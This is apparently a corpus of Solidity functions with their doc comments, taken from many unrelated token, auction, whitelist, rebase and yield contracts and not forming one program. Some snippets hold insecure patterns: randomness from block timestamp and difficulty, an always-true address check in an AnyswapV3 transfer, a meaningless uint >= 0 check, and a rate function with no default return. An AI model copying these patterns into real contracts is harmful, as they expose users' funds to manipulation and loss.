// being set to the sum of locked tokens in the old and new
// contracts and the lock expiration being set the longest lock
// duration for this address in either contract.  The playerId is
// transferred unless it was already set in the new contract.
//
// NOTE - allowances (approve) are *not* transferred.  If you gave
// another address an allowance in the old contract you need to
// re-approve it in the new contract.
//

function optIn() public returns (bool success) {
    require(migrateFrom != MigrationSource(0));
    User storage user = users[msg.sender];
    uint256 balance;
    uint256 lock_value;
    uint256 lock_endTime;
    bytes32 opId;
    bytes32 playerId;
    (balance, lock_value, lock_endTime, opId, playerId) =
        migrateFrom.vacate(msg.sender);

    OptIn(msg.sender, balance);

    user.balance = user.balance.add(balance);

    bool lockTimeIncreased = false;
    user.lock_value = user.lock_value.add(lock_value);
    if (user.lock_endTime < lock_endTime) {
      user.lock_endTime = lock_endTime;
      lockTimeIncreased = true;
    }
    if (lock_value > 0 || lockTimeIncreased) {
      LockIncrease(msg.sender, user.lock_value, user.lock_endTime);
    }

    if (user.operatorId == bytes32(0) && opId != bytes32(0)) {
      user.operatorId = opId;
      user.playerId = playerId;
      Associate(msg.sender, msg.sender, opId, playerId);
    }

    totalSupply_ = totalSupply_.add(balance);

    return true;
  }


/**
 * @notice Initiates a new rebase operation, provided the minimum time period has elapsed.
 *
 * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag
 *      Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate
 *      and targetRate is CpiOracleRate / baseCpi
 */

function rebase() external onlyOrchestrator {
        require(inRebaseWindow());

        // This comparison also ensures there is no reentrancy.
        require(lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < block.timestamp);

        // Snap the rebase time to the start of this window.
        lastRebaseTimestampSec = block
            .timestamp
            .sub(block.timestamp.mod(minRebaseTimeIntervalSec))
            .add(rebaseWindowOffsetSec);

        epoch = epoch.add(1);

        uint256 targetRate = TARGET_RATE;

        uint256 exchangeRate;
        bool rateValid;
        (exchangeRate, rateValid) = marketOracle.getData();
        require(rateValid);

        if (exchangeRate > MAX_RATE) {
            exchangeRate = MAX_RATE;
        }

        int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate);

        // Apply the Dampening factor.
        supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe());

        if (supplyDelta > 0 && uFrags.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) {
            supplyDelta = (MAX_SUPPLY.sub(uFrags.totalSupply())).toInt256Safe();
        }

        uint256 supplyAfterRebase = uFrags.rebase(epoch, supplyDelta);
        assert(supplyAfterRebase <= MAX_SUPPLY);
        emit LogRebase(epoch, exchangeRate, supplyDelta, block.timestamp);
    }


/**
 * @dev ZOS upgradable contract initialization method.
 *      It is called at the time of contract creation to invoke parent class initializers and
 *      initialize the contract's state variables.
 */

function initialize(
        address owner_,
        IUFragments uFrags_
    ) public initializer {
        Ownable.initialize(owner_);

        // deviationThreshold = 0.05e18 = 5e16
        deviationThreshold = 5 * 10**(DECIMALS - 2);

        rebaseLag = 3;
        minRebaseTimeIntervalSec = 1 days;
        rebaseWindowOffsetSec = 72000; // 8PM UTC
        rebaseWindowLengthSec = 15 minutes;
        lastRebaseTimestampSec = 0;
        epoch = 0;

        uFrags = uFrags_;
    }


/**
 * @return Computes the total supply adjustment in response to the exchange rate
 *         and the targetRate.
 */

function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) {
        if (withinDeviationThreshold(rate, targetRate)) {
            return 0;
        }

        // supplyDelta = totalSupply * (rate - targetRate) / targetRate
        int256 targetRateSigned = targetRate.toInt256Safe();
        return
            uFrags.totalSupply().toInt256Safe().mul(rate.toInt256Safe().sub(targetRateSigned)).div(
                targetRateSigned
            );
    }


// The vacate method is called by a newer version of the CashBetCoin
// contract to extract the token state for an address and migrate it
// to the new contract.
//

function vacate(address _addr) public returns (uint256 o_balance,
                                                 uint256 o_lock_value,
                                                 uint256 o_lock_endTime,
                                                 bytes32 o_opId,
                                                 bytes32 o_playerId) {
    require(msg.sender == migrateTo);
    User storage user = users[_addr];
    require(user.balance > 0);

    o_balance = user.balance;
    o_lock_value = user.lock_value;
    o_lock_endTime = user.lock_endTime;
    o_opId = user.operatorId;
    o_playerId = user.playerId;

    totalSupply_ = totalSupply_.sub(user.balance);

    user.balance = 0;
    user.lock_value = 0;
    user.lock_endTime = 0;
    user.operatorId = bytes32(0);
    user.playerId = bytes32(0);

    Vacate(_addr, o_balance);
  }


/**
 * @notice Initialize the auction house and base contracts,
 * populate configuration values, and pause the contract.
 * @dev This function can only be called once.
 */

function initialize(
        IAxons _axons,
        IAxonsVoting _axonsVoting,
        address _axonsToken,
        uint256 _timeBuffer,
        uint256 _reservePrice,
        uint8 _minBidIncrementPercentage,
        uint256 _duration
    ) external initializer {
        __Pausable_init();
        __ReentrancyGuard_init();
        __Ownable_init();

        _pause();

        axons = _axons;
        axonsToken = _axonsToken;
        axonsVoting = _axonsVoting;
        timeBuffer = _timeBuffer;
        reservePrice = _reservePrice * 10**18;
        minBidIncrementPercentage = _minBidIncrementPercentage;
        duration = _duration;
    }


/**
 * @dev Generates a random axon number
 * @param _a The address to be used within the hash.
 */

function randomAxonNumber(
        address _a,
        uint256 _c
    ) internal view returns (uint256) {
        uint256 _rand = uint256(
            uint256(
                keccak256(
                    abi.encodePacked(
                        block.timestamp,
                        block.difficulty,
                        _a,
                        _c
                    )
                )
            ) % 900719925474000
        );

        return _rand;
    }


/**
 * @notice Create an auction.
 * @dev Store the auction details in the `auction` state variable and emit an AuctionCreated event.
 * If the mint reverts, the minter was updated without pausing this contract first. To remedy this,
 * catch the revert and pause this contract.
 */

function _createAuction(uint256 axonId) internal {
        try axons.mint(axonId) returns (uint256 tokenId) {
            uint256 startTime = block.timestamp;
            uint256 endTime = startTime + duration;

            auction = Auction({
                axonId: tokenId,
                amount: 0,
                startTime: startTime,
                endTime: endTime,
                bidder: payable(0),
                settled: false,
                counter: auctionCounter
            });

            emit AuctionCreated(axonId, startTime, endTime);

            auctionCounter++;
        } catch Error(string memory) {
            _pause();
        }
    }


/**
 * @notice owner should transfer to this smart contract {_supply} Mozo tokens manually
 * @param _mozoToken Mozo token smart contract
 * @param _coOwner Array of coOwner
 * @param _supply Total number of tokens = No. tokens * 10^decimals = No. tokens * 100
 * @param _rate number of wei to buy 0.01 Mozo sale token
 * @param _openingTime The opening time in seconds (unix Time)
 * @param _closingTime The closing time in seconds (unix Time)
 */

function MozoSaleToken(
        OwnerERC20 _mozoToken,
        address[] _coOwner,
        uint _supply,
        uint _rate,
        uint _openingTime,
        uint _closingTime
    )
    public
    ChainCoOwner(_mozoToken, _coOwner)
    Timeline(_openingTime, _closingTime)
    onlyOwner()
    {
        require(_supply > 0);
        require(_rate > 0);

        rate = _rate;
        totalSupply_ = _supply;

        //assign all sale tokens to owner
        balances[_mozoToken.owner()] = totalSupply_;

        //add owner and co_owner to whitelist
        addAddressToWhitelist(msg.sender);
        addAddressesToWhitelist(_coOwner);
        emit Transfer(0x0, _mozoToken.owner(), totalSupply_);
    }


/**
 * @dev add an address to the whitelist, sender must have enough tokens
 * @param _address address for adding to whitelist
 * @return true if the address was added to the whitelist, false if the address was already in the whitelist
 */

function addAddressToWhitelist(address _address) onlyOwnerOrCoOwner public returns (bool success) {
        if (!whitelist[_address]) {
            whitelist[_address] = true;
            //transfer pending amount of tokens to user
            uint noOfTokens = pendingAmounts[_address];
            if (noOfTokens > 0) {
                pendingAmounts[_address] = 0;
                transfer(_address, noOfTokens);
            }
            success = true;
        }
    }


/**
 * @dev add addresses to the whitelist, sender must have enough tokens
 * @param _addresses addresses for adding to whitelist
 * @return true if at least one address was added to the whitelist,
 * false if all addresses were already in the whitelist
 */

function addAddressesToWhitelist(address[] _addresses) onlyOwnerOrCoOwner public returns (bool success) {
        uint length = _addresses.length;
        for (uint i = 0; i < length; i++) {
            if (addAddressToWhitelist(_addresses[i])) {
                success = true;
            }
        }
    }


/**
 * @dev remove addresses from the whitelist
 * @param _addresses addresses
 * @return true if at least one address was removed from the whitelist,
 * false if all addresses weren't in the whitelist in the first place
 */

function removeAddressesFromWhitelist(address[] _addresses) onlyOwnerOrCoOwner public returns (bool success) {
        uint length = _addresses.length;
        for (uint i = 0; i < length; i++) {
            if (removeAddressFromWhitelist(_addresses[i])) {
                success = true;
            }
        }
    }


/**
 * @notice Settle an auction, finalizing the bid and paying out to the owner.
 * @dev If there are no bids, the Axon is burned.
 */

function _settleAuction() internal {
        IAxonsAuctionHouse.Auction memory _auction = auction;

        require(_auction.startTime != 0, "Auction hasn't begun");
        require(!_auction.settled, 'Auction has already been settled');
        require(block.timestamp >= _auction.endTime, "Auction hasn't completed");

        auction.settled = true;

        if (_auction.bidder == address(0)) {
            axons.burn(_auction.axonId);
        } else {
            axons.transferFrom(address(this), _auction.bidder, _auction.axonId);
        }

        if (_auction.amount > 0) {
            IAxonsToken(axonsToken).transferFrom(address(this), msg.sender, 1 * 10**18);
            IAxonsToken(axonsToken).burn(_auction.amount - (1 * 10**18));
        }

        emit AuctionSettled(_auction.axonId, _auction.bidder, _auction.amount);
    }


/**
 * @param _recipients list of repicients
 * @param _amount list of no. tokens
 */

function bonusToken(address[] _recipients, uint[] _amount) public onlyOwnerOrCoOwner onlyStopping {
        uint len = _recipients.length;
        uint len1 = _amount.length;
        require(len == len1);
        require(len <= MAX_TRANSFER);
        uint i;
        uint total = 0;
        for (i = 0; i < len; i++) {
            if (bonus_transferred_repicients[_recipients[i]] == false) {
                bonus_transferred_repicients[_recipients[i]] = transfer(_recipients[i], _amount[i]);
                total = total.add(_amount[i]);
            }
        }
        totalBonusToken = totalBonusToken.add(total);
        noBonusTokenRecipients = noBonusTokenRecipients.add(len);
    }


/**
 * Add an address to the whitelist
 *
 * @param _key     Key type address to add to the whitelist
 * @param _value   Value type address to add to the whitelist under _key
 */

function addPair(
        address _key,
        address _value
    )
        external
        timeLockUpgrade
    {
        require(
            whitelist[_key] == address(0),
            "AddressToAddressWhiteList.addPair: Address pair already exists."
        );

        require(
            _value != address(0),
            "AddressToAddressWhiteList.addPair: Value must be non zero."
        );

        keys.push(_key);
        whitelist[_key] = _value;

        emit PairAdded(_key, _value);
    }


/**
 * Remove a address to address pair from the whitelist
 *
 * @param _key    Key type address to remove to the whitelist
 */

function removePair(
        address _key
    )
        external
        timeLockUpgrade
    {
        address valueToRemove = whitelist[_key];

        require(
            valueToRemove != address(0),
            "AddressToAddressWhiteList.removePair: key type address is not current whitelisted."
        );

        keys = keys.remove(_key);
        whitelist[_key] = address(0);

        emit PairRemoved(_key, valueToRemove);
    }


/**
 * Edit value type address associated with a key
 *
 * @param _key       Key type address to add to the whitelist
 * @param _value     Value type address to add to the whitelist under _key
 */

function editPair(
        address _key,
        address _value
    )
        external
        timeLockUpgrade
    {
        require(
            whitelist[_key] != address(0),
            "AddressToAddressWhiteList.editPair: Address pair must exist."
        );

        require(
            _value != address(0),
            "AddressToAddressWhiteList.editPair: New value must be non zero."
        );

        emit PairRemoved(
            _key,
            whitelist[_key]
        );

        // Set new value type address for passed key type address
        whitelist[_key] = _value;

        emit PairAdded(
            _key,
            _value
        );
    }


/**
 * Return array of value type addresses based on passed in key type addresses
 *
 * @param  _key                Array of key type addresses to get value type addresses for
 * @return address[]           Array of value type addresses
 */

function getValues(
        address[] calldata _key
    )
        external
        view
        returns (address[] memory)
    {
        // Get length of passed array
        uint256 arrayLength = _key.length;

        // Instantiate value type addresses array
        address[] memory values = new address[](arrayLength);

        for (uint256 i = 0; i < arrayLength; i++) {
            // Get value type address for key type address at index i
            values[i] = getValue(
                _key[i]
            );
        }

        return values;
    }


/**
 * Return value type address associated with a passed key type address
 *
 * @param  _key               Address of key type
 * @return address            Address associated with _key
 */

function getValue(
        address _key
    )
        public
        view
        returns (address)
    {
        // Require key to have matching value type address
        require(
            whitelist[_key] != address(0),
            "AddressToAddressWhiteList.getValue: No value for that address."
        );

        // Return address associated with key
        return whitelist[_key];
    }


/**
 * Verifies an array of addresses against the whitelist
 *
 * @param  _keys                Array of key type addresses to check if value exists
 * @return bool                 Whether all addresses in the list are whitelisted
 */

function areValidAddresses(
        address[] calldata _keys
    )
        external
        view
        returns (bool)
    {
        // Get length of passed array
        uint256 arrayLength = _keys.length;

        for (uint256 i = 0; i < arrayLength; i++) {
            // Return false if key type address doesn't have matching value type address
            if (whitelist[_keys[i]] == address(0)) {
                return false;
            }
        }

        return true;
    }


/**
 * @dev calculate reward
 */

function calculateReward(address _addr, uint256 _round) public view returns(uint256)
    {
        Player memory p = players[_addr];
        Game memory g = games[_round];
        if (g.endTime > now) return 0;
        if (g.crystals == 0) return 0;
        if (p.lastRound >= _round) return 0;
        return SafeMath.div(SafeMath.mul(g.prizePool, p.share), g.crystals);
    }


/**
 	 * @notice `msg.sender` approves `_spender` to spend `_value` tokens
 	 * @param _spender The address of the account able to transfer the tokens
 	 * @param _value The amount of tokens to be approved for transfer
 	 * @return Whether the approval was successful or not
 	 */

function approve(address _spender, uint256 _value) public returns (bool success) {
		// The amount has to be bigger or equal to 0
		require(_value >= 0);

		allowances[msg.sender][_spender] = _value;

		// Generate the public approval event and return success
		emit Approval(msg.sender, _spender, _value);
		return true;
	}


// Withdraw partial funds, normally used with a jar withdrawal

function withdraw(uint256 _amount) external {
        require(msg.sender == controller, "!controller");
        uint256 _balance = IERC20_1(want).balanceOf(address(this));
        if (_balance < _amount) {
            _amount = _withdrawSome(_amount.sub(_balance));
            _amount = _amount.add(_balance);
        }

        uint256 _feeDev = _amount.mul(withdrawalDevFundFee).div(
            withdrawalDevFundMax
        );
        IERC20_1(want).safeTransfer(IController(controller).devfund(), _feeDev);

        uint256 _feeTreasury = _amount.mul(withdrawalTreasuryFee).div(
            withdrawalTreasuryMax
        );
        IERC20_1(want).safeTransfer(
            IController(controller).treasury(),
            _feeTreasury
        );

        address _jar = IController(controller).jars(address(want));
        require(_jar != address(0), "!jar"); // additional protection so we don't burn the funds

        IERC20_1(want).safeTransfer(_jar, _amount.sub(_feeDev).sub(_feeTreasury));
    }


// Withdraw all funds, normally used when migrating strategies

function withdrawAll() external returns (uint256 balance) {
        require(msg.sender == controller, "!controller");
        _withdrawAll();

        balance = IERC20_1(want).balanceOf(address(this));

        address _jar = IController(controller).jars(address(want));
        require(_jar != address(0), "!jar"); // additional protection so we don't burn the funds
        IERC20_1(want).safeTransfer(_jar, balance);
    }


// **** Emergency functions ****

function execute(address _target, bytes memory _data)
        public
        payable
        returns (bytes memory response)
    {
        require(msg.sender == timelock, "!timelock");
        require(_target != address(0), "!target");

        // call contract in current context
        assembly {
            let succeeded := delegatecall(
                sub(gas(), 5000),
                _target,
                add(_data, 0x20),
                mload(_data),
                0,
                0
            )
            let size := returndatasize()

            response := mload(0x40)
            mstore(
                0x40,
                add(response, and(add(add(size, 0x20), 0x1f), not(0x1f)))
            )
            mstore(response, size)
            returndatacopy(add(response, 0x20), 0, size)

            switch iszero(succeeded)
                case 1 {
                    // throw if delegatecall failed
                    revert(add(response, 0x20), size)
                }
        }
    }


// transfer tokens held by this contract in escrow to the recipient. Used when either claiming or cancelling gifts

function transferFromEscrow(address _recipient,uint256 _tokenId) internal{
        require(super.ownerOf(_tokenId) == address(this),"The card must be owned by the contract for it to be in escrow");
        super.clearApproval(this, _tokenId);
        super.removeTokenFrom(this, _tokenId);
        super.addTokenTo(_recipient, _tokenId);
        emit Transfer(this, _recipient, _tokenId);
    }


//Allow addresses to buy token for another account

function buyRecipient(address recipient) public payable whenNotHalted {
        if(msg.value == 0) throw;
        if(!(preCrowdsaleOn()||crowdsaleOn())) throw;//only allows during presale/crowdsale
        if(contributions[recipient].add(msg.value)>perAddressCap()) throw;//per address cap
        uint256 tokens = msg.value.mul(returnRate()); //decimals=18, so no need to adjust for unit
        if(crowdsaleTokenSold.add(tokens)>crowdsaleTokenSupply) throw;//max supply limit

        balances[recipient] = balances[recipient].add(tokens);
        totalSupply = totalSupply.add(tokens);
        presaleEtherRaised = presaleEtherRaised.add(msg.value);
        contributions[recipient] = contributions[recipient].add(msg.value);
        crowdsaleTokenSold = crowdsaleTokenSold.add(tokens);
        if(crowdsaleTokenSold == crowdsaleTokenSupply){
        //If crowdsale token sold out, end crowdsale
            if(block.number < preEndBlock) {
                preEndBlock = block.number;
            }
            endBlock = block.number;
        }
        if (!multisig.send(msg.value)) throw; //immediately send Ether to multisig address
        Transfer(this, recipient, tokens);
    }


//Return rate of token against ether.

function returnRate() public constant returns(uint256) {
        if (block.number>=startBlock && block.number<=preEndBlock) return 8888; //Pre-crowdsale
        if (block.number>=phase1StartBlock && block.number<=phase1EndBlock) return 8000; //Crowdsale phase1
        if (block.number>phase1EndBlock && block.number<=phase2EndBlock) return 7500; //Phase2
        if (block.number>phase2EndBlock && block.number<=phase3EndBlock) return 7000; //Phase3
    }


/// @param _tulipId - Id of the tulip to auction.
/// @param _startingPrice - Starting price in wei.
/// @param _endingPrice - Ending price in wei.
/// @param _duration - Duration in seconds.
/// @param _seller - Seller address

function _createAuction(
        uint256 _tulipId,
        uint256 _startingPrice,
        uint256 _endingPrice,
        uint256 _duration,
        address _seller
    )
        internal
    {

        Auction memory auction = Auction(
            _seller,
            uint128(_startingPrice),
            uint128(_endingPrice),
            uint64(_duration),
            uint64(now)
        );

        tokenIdToAuction[_tulipId] = auction;

        AuctionCreated(
            uint256(_tulipId),
            uint256(auction.startingPrice),
            uint256(auction.endingPrice),
            uint256(auction.duration)
        );
    }


/*
 * @dev Cancel auction and return tulip to original owner.
 * @param _tulipId - ID of the tulip on auction
 */

function cancelAuction(uint256 _tulipId)
        external
    {
        Auction storage auction = tokenIdToAuction[_tulipId];
        require(auction.startedAt > 0);

        // Only seller can call this function
        address seller = auction.seller;
        require(msg.sender == seller);

        // Return the tulip to the owner
        coreContract.transfer(seller, _tulipId);

        // Remove auction from storage
        delete tokenIdToAuction[_tulipId];

        AuctionCancelled(_tulipId);
    }


/// @dev Moves `value` AnyswapV3ERC20 token from caller's account to account (`to`).
/// A transfer to `address(0)` triggers an ETH withdraw matching the sent AnyswapV3ERC20 token in favor of caller.
/// Emits {Transfer} event.
/// Returns boolean value indicating whether operation succeeded.
/// Requirements:
///   - caller account must have at least `value` AnyswapV3ERC20 token.

function transfer(address to, uint256 value) external override returns (bool) {
        require(to != address(0) || to != address(this));
        uint256 balance = balanceOf[msg.sender];
        require(balance >= value, "AnyswapV3ERC20: transfer amount exceeds balance");

        balanceOf[msg.sender] = balance - value;
        balanceOf[to] += value;
        emit Transfer(msg.sender, to, value);

        return true;
    }